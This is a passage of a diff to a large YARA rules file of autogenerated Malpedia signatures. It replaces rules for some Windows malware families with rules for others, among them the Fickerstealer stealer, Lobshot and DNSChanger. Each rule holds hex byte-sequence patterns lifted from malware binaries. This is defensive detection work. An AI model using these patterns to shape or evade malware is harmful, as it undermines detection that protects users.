-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.bachosens_auto.yar#L1-L119"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lobshot"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.lobshot_auto.yar#L1-L130"
 		license_url = "N/A"
-		logic_hash = "b427aef6cac4c70adae9906b44868965e5c9a8d697254ea4be31acc54b01936b"
+		logic_hash = "b29ec78bd5106a9ad51352916c3857459a77fea2349f02317d142c1882771dfc"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -137712,34 +144731,34 @@ rule MALPEDIA_Win_Bachosens_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 7703 80c1e0 3ad1 7513 49ffc0 }
-		$sequence_1 = { 660f1f840000000000 410fb707 418b3e 6603c1 4803f9 0fb7c0 }
-		$sequence_2 = { 66443908 75f4 443bc1 740a b801000000 }
-		$sequence_3 = { 49f7d9 4c8bc5 660f1f840000000000 420fb61407 410fb608 8d429f 3c19 }
-		$sequence_4 = { 488bc7 ffc1 488d4001 803800 75f5 33d2 }
-		$sequence_5 = { 75f3 418bc9 66390a 7417 }
-		$sequence_6 = { 740e 488bc5 ffc2 488d4001 803800 }
-		$sequence_7 = { 4c03d1 458b7220 418b521c 4c03f1 458b7a24 4803d1 }
-		$sequence_8 = { 0fb70a 418d409f 6683f819 7704 }
-		$sequence_9 = { 75f3 418bc9 66390a 7417 488bc2 0f1f840000000000 ffc1 }
+		$sequence_0 = { 895c2414 85f6 7410 6a02 56 ff15???????? 56 }
+		$sequence_1 = { 8b4508 8bd1 85c0 7409 c60200 42 }
+		$sequence_2 = { 728d ff742418 ff15???????? 8b74241c 43 83fb04 0f8e42ffffff }
+		$sequence_3 = { 85d2 7905 895e18 8bd3 57 6a2a }
+		$sequence_4 = { 0f8485000000 8b461c 85c0 747e 8b7804 83ff2a 740d }
+		$sequence_5 = { 0f42c8 33ff 894d08 47 8b4e6c 3bcf 771f }
+		$sequence_6 = { 8b55f8 33ff 85d2 7839 8b5dfc 0fb774bb02 85f6 }
+		$sequence_7 = { 8b4e08 8a86b1160000 88040a ff4614 0fb786b4160000 8386b4160000f3 }
+		$sequence_8 = { 53 ff15???????? 8b0d???????? 8b15???????? 2b15???????? 8d4102 83e902 }
+		$sequence_9 = { 895004 8b8348140000 99 2bc2 8bf0 d1fe }
 
 	condition:
-		7 of them and filesize <643072
+		7 of them and filesize <247808
 }
-rule MALPEDIA_Win_Get2_Auto : FILE
+rule MALPEDIA_Win_Jaku_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "f91c1425-fc52-545b-9271-7db19be38856"
+		id = "2a488cc0-1b28-5098-bf2b-d901cf20342d"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.get2"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.get2_auto.yar#L1-L170"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.jaku"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.jaku_auto.yar#L1-L268"
 		license_url = "N/A"
-		logic_hash = "5e9d36a39aed19f2ddf758df0012d6d0406c361deba19029a1cb530866b49568"
+		logic_hash = "d05d79a0c954b2e0606ed773ff3f73ae5387638edb50352f452263cfa013d18a"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -137751,40 +144770,53 @@ rule MALPEDIA_Win_Get2_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8b4004 f644080c06 74d5 8d4d84 e8???????? 8d4584 c645fc03 }
-		$sequence_1 = { 0f859a000000 f6c104 7430 8d4c2404 e8???????? }
-		$sequence_2 = { e8???????? ff7510 8d4dc0 ff750c e8???????? 83c420 83781410 }
-		$sequence_3 = { 57 53 8d4dd8 e8???????? 8bc6 e8???????? c3 }
-		$sequence_4 = { 33c0 895dd4 668945d8 51 51 52 }
-		$sequence_5 = { 8d44240c 68???????? 50 eb69 f6c102 8d4c2404 742b }
-		$sequence_6 = { 8b4910 23c8 0f849e000000 807d0c00 }
-		$sequence_7 = { 897e08 33db c745ec07000000 43 897de8 }
-		$sequence_8 = { 0f95c3 8bc3 488b5c2450 488b4c2448 }
-		$sequence_9 = { 4533f6 4863df 488d0dbc730200 488bc3 83e33f }
-		$sequence_10 = { 4885ff 75eb 33c0 48894110 }
-		$sequence_11 = { 488bc8 0fb7045e 663901 740f 48ffc3 493bde }
-		$sequence_12 = { 663931 7451 488d1590280100 e8???????? 85c0 7441 }
-		$sequence_13 = { 7203 488b00 668938 488d8b40010000 }
-		$sequence_14 = { 85c0 750d ff15???????? 41898660010000 4032ff }
-		$sequence_15 = { 488b4708 4a8b4cf008 488b4618 4c3b24c8 0f85d0fbffff 488b4648 }
+		$sequence_0 = { 8b466c 234634 8b4e40 8b5644 668b7e6c 0fb70441 }
+		$sequence_1 = { 0f84d0000000 8b4d1c 8b550c 0fb709 0fb71c4a }
+		$sequence_2 = { c70610000000 eb1f 56 e8???????? 837d0c06 59 }
+		$sequence_3 = { e8???????? 59 894660 59 837e6003 0f8223010000 }
+		$sequence_4 = { 56 8b7510 57 6a08 33c0 59 }
+		$sequence_5 = { 8b96a4160000 8a0408 8b8ea0160000 66892c4a 8b8e98160000 }
+		$sequence_6 = { 6a0f 58 8d4dc6 8b17 }
+		$sequence_7 = { 83c41c 84c0 742b 8b450c 85c0 }
+		$sequence_8 = { 68???????? ff15???????? c3 b8???????? e8???????? 83ec2c }
+		$sequence_9 = { ff742408 e8???????? c20800 8bc1 }
+		$sequence_10 = { 5b c3 55 8bec 833d????????00 53 56 }
+		$sequence_11 = { 53 68000000a0 6a03 53 }
+		$sequence_12 = { 6a01 03c3 68???????? 50 e8???????? 83c40c 85c0 }
+		$sequence_13 = { 7507 b800308000 eb02 33c0 }
+		$sequence_14 = { 7508 83c8ff e9???????? 8b839f830000 }
+		$sequence_15 = { 75dd 57 e8???????? 59 }
+		$sequence_16 = { 55 56 57 6880020000 }
+		$sequence_17 = { 0245fd 3245fe 8a4dff d2c8 }
+		$sequence_18 = { 016c242c 8b44242c 5f 5e 5d }
+		$sequence_19 = { 50 e8???????? 59 8b4e2c }
+		$sequence_20 = { 85f6 b301 0f8491000000 56 e8???????? }
+		$sequence_21 = { e8???????? 59 eb57 53 }
+		$sequence_22 = { 56 e8???????? 59 8b4620 }
+		$sequence_23 = { 8d4608 57 e8???????? 8365e000 }
+		$sequence_24 = { e8???????? 8b7dd8 397de8 7593 6804010000 8d8574feffff 50 }
+		$sequence_25 = { a4 ff839f830000 8b839f830000 8b8b97830000 8901 33c0 40 }
+		$sequence_26 = { ff75f4 66899e4d720000 8d9e8f7e0000 53 81c6917e0000 }
+		$sequence_27 = { 6a00 e8???????? 50 e8???????? b001 8b55b4 64891500000000 }
+		$sequence_28 = { 6a00 53 e8???????? 0fbe532e }
 
 	condition:
-		7 of them and filesize <720896
+		7 of them and filesize <2220032
 }
-rule MALPEDIA_Win_Microcin_Auto : FILE
+rule MALPEDIA_Win_Fickerstealer_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "7e85e39e-7daa-514d-802c-54d6ff85c6e9"
+		id = "45d62189-24df-5dae-af5a-78b51fda916c"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.microcin"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.microcin_auto.yar#L1-L465"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.fickerstealer"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.fickerstealer_auto.yar#L1-L133"
 		license_url = "N/A"
-		logic_hash = "3f18992fe004fbfcac38bd4eed04ab5733b0957df603607ba4dee35273474322"
+		logic_hash = "fe62eb4bdda7768c5d67489e8496ef31433ebe8da6a7c001c0177fb4671588ff"
 		score = 75
-		quality = 44
+		quality = 75
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -137796,72 +144828,32 @@ rule MALPEDIA_Win_Microcin_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 50 56 ff15???????? 85c0 0f45f7 }
-		$sequence_1 = { 442bc3 4803d6 4533c9 ff15???????? 85c0 75d9 488b742438 }
-		$sequence_2 = { ff15???????? 488bcb ff15???????? 448bc0 }
-		$sequence_3 = { 57 4154 4156 4157 488dac2400fbffff 4881ec00060000 488b05???????? }
-		$sequence_4 = { e8???????? 83c40c 8d85f8feffff 6804010000 50 ff15???????? 8d85f8feffff }
-		$sequence_5 = { 488b09 418bf8 488bf2 33db }
-		$sequence_6 = { ff15???????? 8b3d???????? 8d85e0feffff 50 }
-		$sequence_7 = { 488bcb 664489642438 488bf0 ff15???????? }
-		$sequence_8 = { 68ffff0000 56 8b35???????? ffd6 }
-		$sequence_9 = { 85c0 7e18 80bc35a8feffff3a 741f 8d85a8feffff 46 50 }
-		$sequence_10 = { c6840d8002000033 488d8d80020000 ff15???????? 4863c8 c6840d8002000079 }
-		$sequence_11 = { ff15???????? 8b1d???????? 8d85a8feffff 50 ffd3 }
-		$sequence_12 = { ff15???????? 4863c8 c6840d7002000062 488d8d70020000 ff15???????? 4863c8 }
-		$sequence_13 = { ff15???????? 85c0 7426 8b400c }
-		$sequence_14 = { 33f6 50 ffd3 85c0 7e18 }
-		$sequence_15 = { 488d4c2460 ff15???????? 4863c8 807c0c5f5c 7413 488d4c2460 ff15???????? }
-		$sequence_16 = { 41bc14030000 4c8d0574130100 488bcd 418bd4 e8???????? 33c9 85c0 }
-		$sequence_17 = { 83c108 51 ff15???????? 8b4dfc }
-		$sequence_18 = { 7370 696465726167656e 742e 657865 }
-		$sequence_19 = { 6e 6d 656e 7400 }
-		$sequence_20 = { 8b4510 8b8c8d78feffff 890c90 ebc8 e9???????? }
-		$sequence_21 = { 7647 498bcd e8???????? 4c8d05b7120100 41b903000000 }
-		$sequence_22 = { fa fa fa fa fa fa }
-		$sequence_23 = { 8b4df0 e8???????? 8d45f8 50 6a00 }
-		$sequence_24 = { 6828010000 8d85ccfeffff 6a00 50 }
-		$sequence_25 = { 418d7c24e7 85c0 752a 4c8d0502130100 8bd7 498bcd }
-		$sequence_26 = { 4c8d056c120100 498bd4 488bcd e8???????? 85c0 7541 4c8bc3 }
-		$sequence_27 = { 636373 7673 6873742e65 7865 }
-		$sequence_28 = { ff15???????? 8b45f4 8b4824 894dfc 8b55f4 83c208 }
-		$sequence_29 = { 8945fc eb42 8b45f8 33d2 }
-		$sequence_30 = { 8bd9 488d0d950c0100 ff15???????? 4885c0 7419 488d15730c0100 488bc8 }
-		$sequence_31 = { 488d15f8110100 41b810200100 488bcd e8???????? e9???????? 4533c9 4533c0 }
-		$sequence_32 = { 8b8504ffffff 898574feffff 8b4d0c 8b91fc020000 8b4508 0390f0040000 8b4d10 }
-		$sequence_33 = { 488bcd e8???????? 85c0 751a 488d15f8110100 41b810200100 }
-		$sequence_34 = { 8b55fc 83c208 52 ff15???????? 8b45fc c7400421000000 }
-		$sequence_35 = { 33c9 4889742420 e8???????? cc 4c8d056c120100 }
-		$sequence_36 = { 83ec08 894df8 c745fc00a40000 6a40 6800100000 6800a40000 6a00 }
-		$sequence_37 = { 49 53 53 56 43 }
-		$sequence_38 = { 8b4c2414 33cc e8???????? 8be5 5d c21000 57 }
-		$sequence_39 = { 0115???????? 1515151503 1515151515 1515041515 1515050607 0809 }
-		$sequence_40 = { 8d85e8feffff 50 ff95e4feffff 59 59 837d1c00 7513 }
-		$sequence_41 = { 8b8431f4dfffff 44 2bd8 45 2b9c31f8dfffff 45 895c2404 }
-		$sequence_42 = { 6a00 8d442448 50 ff15???????? 85c0 7420 }
-		$sequence_43 = { 8b4c2408 49 8b542410 e8???????? 85c0 74db 89c0 }
-		$sequence_44 = { f7f7 8365ec00 85c0 0f8e94010000 8365f000 8b7e44 }
-		$sequence_45 = { 89f1 48 8d5510 e8???????? 90 e8???????? bab3c4b3c4 }
-		$sequence_46 = { 6a00 8d85b0feffff 50 56 }
-		$sequence_47 = { 6a00 56 c785b4feffff00000000 ff15???????? 50 56 }
-		$sequence_48 = { 8d44245c 50 ff15???????? 33c0 5f }
-		$sequence_49 = { c744241030000000 c744241403000000 c7442418d0114000 c744241c00000000 c744242000000000 89742424 c744242800000000 }
+		$sequence_0 = { 8b55c8 897150 895154 8b75cc 8b55d0 897158 89515c }
+		$sequence_1 = { ba???????? 0f2840f0 0f2808 0f298424a0040000 0f294910 0f2901 6a00 }
+		$sequence_2 = { c1e104 85c0 f20f10840b90000000 f20f108c0b98000000 f20f118c2488000000 f20f11842480000000 f20f10442450 }
+		$sequence_3 = { c1ea04 85d2 0f44d1 0f44f0 89d1 c1e902 6afe }
+		$sequence_4 = { 8b3e e8???????? 84c0 7404 c6470401 8b06 8b08 }
+		$sequence_5 = { 89d3 8954241c 897c2420 c744241801000000 89f1 e8???????? 3c0f }
+		$sequence_6 = { f20f114d9c f20f115594 7514 31d2 8d4ddc 42 e8???????? }
+		$sequence_7 = { e9???????? 8d7c2448 89f9 e8???????? 833f01 0f85ed000000 }
+		$sequence_8 = { 56 53 57 ff750c 50 e8???????? 83c424 }
+		$sequence_9 = { 898d40feffff 89f9 8985d4feffff 8b8570ffffff 8985d8feffff 8b4588 8985dcfeffff }
 
 	condition:
-		7 of them and filesize <417792
+		7 of them and filesize <598016
 }
-rule MALPEDIA_Win_Xiangoop_Auto : FILE
+rule MALPEDIA_Win_Polyvice_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "bc98151f-3c19-5785-9ae3-c69b23dbc040"
+		id = "f632496e-a2f4-5ede-b8be-18463e7a5bac"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.xiangoop"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.xiangoop_auto.yar#L1-L122"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.polyvice"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.polyvice_auto.yar#L1-L130"
 		license_url = "N/A"
-		logic_hash = "94fbd52db4d5481176ad7bfd7bb74c96cb0ad2e3aa8f7b123dd0955d4f95f88c"
+		logic_hash = "ed3286a18e97148fc13382a255519a25655dd929e966c75502c6a665bf5d62e5"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -137875,32 +144867,32 @@ rule MALPEDIA_Win_Xiangoop_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { b801000000 d1e0 8b55f4 0fb6440208 25ff000000 }
-		$sequence_1 = { c1e903 8d540906 8b4508 8990e0010000 c745ec00000000 8b4d08 }
-		$sequence_2 = { ebe3 8b45f0 8b0c85a8b00110 8b45ec 807c082800 }
-		$sequence_3 = { c1e008 0bc8 ba01000000 6bc203 8b550c 0fb644020c 25ff000000 }
-		$sequence_4 = { 8955c8 6804010000 8d85bcfdffff 50 8b4dc8 }
-		$sequence_5 = { 81e2ff000000 b801000000 6bc800 8b4510 8854080c 8b4dec }
-		$sequence_6 = { c3 b001 c3 c705????????80a50110 b001 c3 68???????? }
-		$sequence_7 = { 8b45fc 8b4dfc 034804 894dfc e9???????? b801000000 8be5 }
-		$sequence_8 = { 890c02 8b45ec 83c001 8945ec 837dec08 7502 }
-		$sequence_9 = { 8b45f4 83c028 8945f4 ebcb }
+		$sequence_0 = { 4589cf 4131ed 41c1cf06 4501e5 4589fc 4589cf 41c1cf0b }
+		$sequence_1 = { c1c207 31d1 4489c2 c1ca02 01f1 89d6 }
+		$sequence_2 = { 448b442438 01d1 01c1 4489c2 4489c0 c1c807 }
+		$sequence_3 = { 4409f6 89f5 89c6 4421f6 4421e5 09f5 4489de }
+		$sequence_4 = { 4c8d150fc20000 4801de 4c8d0d05ca0000 4c8d05fec50000 4883c310 8b3b 89f9 }
+		$sequence_5 = { 66418949fe 89e9 d3e8 4d39cb 75e2 4889d8 4829f0 }
+		$sequence_6 = { e9???????? 488d4dcc 31f6 e8???????? 4c8d3531650000 4989c5 eb2d }
+		$sequence_7 = { 53 4881ec38030000 488dac2480000000 410fb7400c 410fb77840 450fb77822 668945bc }
+		$sequence_8 = { 450fb6ec bf20000000 c744242800000000 0fb7db 4531ff }
+		$sequence_9 = { 0fb7c9 0fb74c4b02 664183f802 7508 6683f902 410f44c3 450fb7ed }
 
 	condition:
-		7 of them and filesize <246784
+		7 of them and filesize <369664
 }
-rule MALPEDIA_Win_Regin_Auto : FILE
+rule MALPEDIA_Win_Powerpool_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "ce7821ca-cfed-5ada-bd4c-3b99c9cf64f9"
+		id = "0805ab0c-2483-51ef-91bd-613062750253"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.regin"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.regin_auto.yar#L1-L120"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.powerpool"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.powerpool_auto.yar#L1-L157"
 		license_url = "N/A"
-		logic_hash = "985ecd1548d174f4606bb21325679aedf195f3d6056cd99e3d5f01bd16dfaa46"
+		logic_hash = "c10aba7ea9fc986a00a689a799239b370f623f0a4bcaeb12871b3235333f8df6"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -137914,32 +144906,38 @@ rule MALPEDIA_Win_Regin_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 49 8363f000 48 8d0504230000 49 8943d8 }
-		$sequence_1 = { 48 89442438 b800210000 c7442430204e0000 89442428 }
-		$sequence_2 = { 85c0 740c 8b05???????? 39442460 7405 }
-		$sequence_3 = { c1e802 41 ffc0 48 8d4c2470 41 }
-		$sequence_4 = { 44 8bc1 48 8b0d???????? ff15???????? }
-		$sequence_5 = { 48 89442448 48 89442450 b82375f1ba }
-		$sequence_6 = { 33c0 48 83c428 c3 48 83ec28 33c9 }
-		$sequence_7 = { 0f45df 8bc3 48 8b5c2448 }
-		$sequence_8 = { 84c0 44 8d7304 0f45f8 8d4302 44 84c0 }
-		$sequence_9 = { 48 8bfb 8bc7 48 8b5c2430 48 }
+		$sequence_0 = { 741f 90 8b4e54 8a01 }
+		$sequence_1 = { 7420 8b4514 8b4dfc 81c12c020000 }
+		$sequence_2 = { 895de8 8b5dcc 2bd8 895940 8b5dd0 }
+		$sequence_3 = { 005311 40 005d11 40 006711 }
+		$sequence_4 = { 7420 83e91d 7412 83e903 0f8515010000 c745dcfcae4400 }
+		$sequence_5 = { 7420 3c0a 740c 6a0a 6a01 8d4b14 }
+		$sequence_6 = { 741f d945b8 03c0 03c0 }
+		$sequence_7 = { 8b5c2410 23da c1ce0a 03f2 23ee 0bdd 035c2418 }
+		$sequence_8 = { 895dd0 8b7940 897dcc 3bc7 7613 }
+		$sequence_9 = { 7420 807de000 741a 8b4ddc }
+		$sequence_10 = { 006711 40 0000 0303 }
+		$sequence_11 = { 7420 8b4508 8b4d0c 3bc1 }
+		$sequence_12 = { 895ddc 895dfc 8d45e0 50 }
+		$sequence_13 = { 895de0 895de4 33c9 66898dd0fdffff }
+		$sequence_14 = { 895ddc 8b45e4 50 e8???????? }
+		$sequence_15 = { 744f 53 57 8bff 8bc8 }
 
 	condition:
-		7 of them and filesize <49152
+		7 of them and filesize <819200
 }
-rule MALPEDIA_Win_Purplewave_Auto : FILE
+rule MALPEDIA_Win_Dnschanger_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "bc61a32f-ee96-5e25-892f-9d381408f659"
+		id = "ae807a62-5d4f-55b1-a240-1c49a1caed44"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.purplewave"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.purplewave_auto.yar#L1-L133"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dnschanger"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.dnschanger_auto.yar#L1-L116"
 		license_url = "N/A"
-		logic_hash = "5efe0dc0002836bd228e34e2c06d2e0edc1c85c62aac77610517f67f8f987125"
+		logic_hash = "6d81d999d3cf2fb8d24f1a3cbe10fc2c3244404cd2fbc45cfa8a36930b442d5e"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -137953,32 +144951,32 @@ rule MALPEDIA_Win_Purplewave_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { e8???????? 8d4da4 c645fc12 e8???????? 84db 0f84ca020000 6a40 }
-		$sequence_1 = { 0f8415000000 81a53cffffffffbfffff 8d8da8feffff e9???????? c3 8d8d60feffff e9???????? }
-		$sequence_2 = { 8d8c2468010000 e8???????? 6a0d e8???????? 59 56 8bd0 }
-		$sequence_3 = { 6bc838 57 8b0495201e4900 8a440828 a848 757b 84c0 }
-		$sequence_4 = { 8d4dbc e8???????? 8d4dd4 e8???????? 8bc3 e8???????? c20c00 }
-		$sequence_5 = { b8???????? e8???????? 8bf9 8db78c000000 8bce e8???????? 84c0 }
-		$sequence_6 = { 53 50 e8???????? 83c40c 8d8db8feffff e8???????? 8d95b8feffff }
-		$sequence_7 = { 53 68???????? 50 ff5110 ff758c ffd6 50 }
-		$sequence_8 = { 0f85d3000000 8d45e8 50 8b06 8b08 83c128 }
-		$sequence_9 = { 84c0 750e 8d45d8 50 8d4e6c e8???????? eb49 }
+		$sequence_0 = { ff15???????? 8bf0 8b442414 6800010000 }
+		$sequence_1 = { b301 57 ff15???????? 85f6 740c 56 6a00 }
+		$sequence_2 = { 8bc2 03c7 eb02 8bc7 5f }
+		$sequence_3 = { be04000000 5f 8bc6 5e 81c494000000 }
+		$sequence_4 = { ff7508 66ab aa ff15???????? }
+		$sequence_5 = { 8b542408 53 8a1a 8819 41 42 84db }
+		$sequence_6 = { 3b0e 72f2 57 57 57 }
+		$sequence_7 = { 57 57 56 57 ff75fc ff15???????? }
+		$sequence_8 = { 5e 81c494000000 c3 83f806 }
+		$sequence_9 = { f3aa 8bc6 5f 5e c3 }
 
 	condition:
-		7 of them and filesize <1400832
+		7 of them and filesize <49152
 }
-rule MALPEDIA_Win_Boaxxe_Auto : FILE
+rule MALPEDIA_Win_Lunchmoney_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "d2861d72-2434-5a6e-bbf4-9290c68bd235"
+		id = "8af393b3-e0ee-5b29-9ae9-6b5b0b5bb360"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.boaxxe"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.boaxxe_auto.yar#L1-L132"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lunchmoney"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.lunchmoney_auto.yar#L1-L126"
 		license_url = "N/A"
-		logic_hash = "232a66e4610caa68487a07fb0b6c51bc622cacc6954ed1eec17df693514e555a"
+		logic_hash = "4e3c0ce49996288518b2f9a0e709877b3f945a71128e29da2214bd53e19246e9"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -137992,32 +144990,32 @@ rule MALPEDIA_Win_Boaxxe_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { b904000000 e8???????? 8d55c4 66b8c503 e8???????? 8b55c4 a1???????? }
-		$sequence_1 = { 0f8c88000000 8d4df4 8b55f8 8b45f8 e8???????? 8b55f4 8d45f8 }
-		$sequence_2 = { 83c220 8d45f8 e8???????? 8d45f8 e8???????? 8945f4 8b45f4 }
-		$sequence_3 = { 33c0 55 68???????? 64ff30 648920 8bcb b230 }
-		$sequence_4 = { 85db 7410 8b55f4 8b45ec 8bcb e8???????? }
-		$sequence_5 = { 8b45cc e8???????? 8bd8 891d???????? 891d???????? 8d45c8 50 }
-		$sequence_6 = { 01d0 c1e003 8b803c58bc6d 8945ec e9???????? 837de808 }
-		$sequence_7 = { a1???????? e8???????? 8bd0 53 8bc2 e9???????? 33c0 }
-		$sequence_8 = { 0342fc 8945ec 8b45f8 8b00 8b5508 0342fc 8945f0 }
-		$sequence_9 = { b808000000 e8???????? 8b55f8 58 e8???????? 7504 33db }
+		$sequence_0 = { 8b4304 8d4b0c 83791408 8945dc 8b4308 8945e0 7202 }
+		$sequence_1 = { 7405 e8???????? a900000080 751f d9fa 833d????????00 0f85f38b0000 }
+		$sequence_2 = { c1e60a 56 e8???????? 56 8bf8 6a00 57 }
+		$sequence_3 = { 53 8d4d08 e8???????? 83f8ff 750e 68???????? }
+		$sequence_4 = { 8d4dd4 e8???????? 83f8ff 742d 6aff 40 }
+		$sequence_5 = { 7420 53 8d85dcfeffff 50 }
+		$sequence_6 = { ff7580 e8???????? 8b8568ffffff 014588 59 83957cffffff00 837d0800 }
+		$sequence_7 = { 8bcf e8???????? 837f1408 8bc8 }
+		$sequence_8 = { 8bc3 e8???????? c3 53 56 8bf1 57 }
+		$sequence_9 = { 8d86f8000000 83c124 3bc8 740a 6aff 6a00 50 }
 
 	condition:
-		7 of them and filesize <1146880
+		7 of them and filesize <373760
 }
-rule MALPEDIA_Win_Lyposit_Auto : FILE
+rule MALPEDIA_Win_Metadatabin_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "bce51077-57cf-5adb-b910-01a9e65c59f7"
+		id = "ddd31612-5b1e-5a32-9ee2-3a06fec41c32"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lyposit"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.lyposit_auto.yar#L1-L127"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.metadatabin"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.metadatabin_auto.yar#L1-L134"
 		license_url = "N/A"
-		logic_hash = "6d3a7a695e65723557f6178bebcb83673702ff3e28dbc2c0dd967dcfab1ce86b"
+		logic_hash = "11b64ee680ef1e61921c6aade590c08f83cd6a9ae0a068d4e02dca568fca78c2"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -138031,32 +145029,32 @@ rule MALPEDIA_Win_Lyposit_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { ff510c 3bc3 0f8cf1000000 57 6a40 ffd6 8945dc }
-		$sequence_1 = { ff74240c 50 e8???????? a3???????? 59 }
-		$sequence_2 = { 33f6 8975d8 8975fc b9???????? e8???????? 50 e8???????? }
-		$sequence_3 = { 6a01 e8???????? 83c40c 397d10 7413 ff7510 }
-		$sequence_4 = { ff15???????? 8bf8 8975d8 6a04 803e55 7506 8d4601 }
-		$sequence_5 = { 83c40c 83f801 0f8556010000 015f3c 295f58 807f6c00 }
-		$sequence_6 = { 0f8479010000 8bd8 8b5768 03573c 8b4760 33f6 }
-		$sequence_7 = { 29775c 0175fc 837df801 894750 8b475c 743e }
-		$sequence_8 = { e8???????? 8945c4 8d4de0 51 ff75d0 56 }
-		$sequence_9 = { 8bfe e8???????? 33c0 eb0f 6a08 6a40 ffd3 }
+		$sequence_0 = { 89d1 89c6 8b8424d0000000 11d9 0f92c3 f7e7 89c7 }
+		$sequence_1 = { 8bbde8feffff 0f44c8 01fa 39da 0f4cd3 85ff 0f45da }
+		$sequence_2 = { 8b8c2488000000 13442448 897c243c 660f6e4c243c 89f7 8b74245c 83d300 }
+		$sequence_3 = { 8b742414 8b542424 39de 0f841c010000 0f836e010000 0fb7447430 0512230000 }
+		$sequence_4 = { 8b85f8feffff c744240800000000 895c2404 890424 ff95f4feffff c785fcfeffff01000000 8b8568feffff }
+		$sequence_5 = { f7e3 8b5c2470 01c8 89842458010000 0fb6442428 11c2 89d8 }
+		$sequence_6 = { 897c240c 89fa 89c7 b8ffff0700 660f6e8c2420010000 83d700 660f6e5c240c }
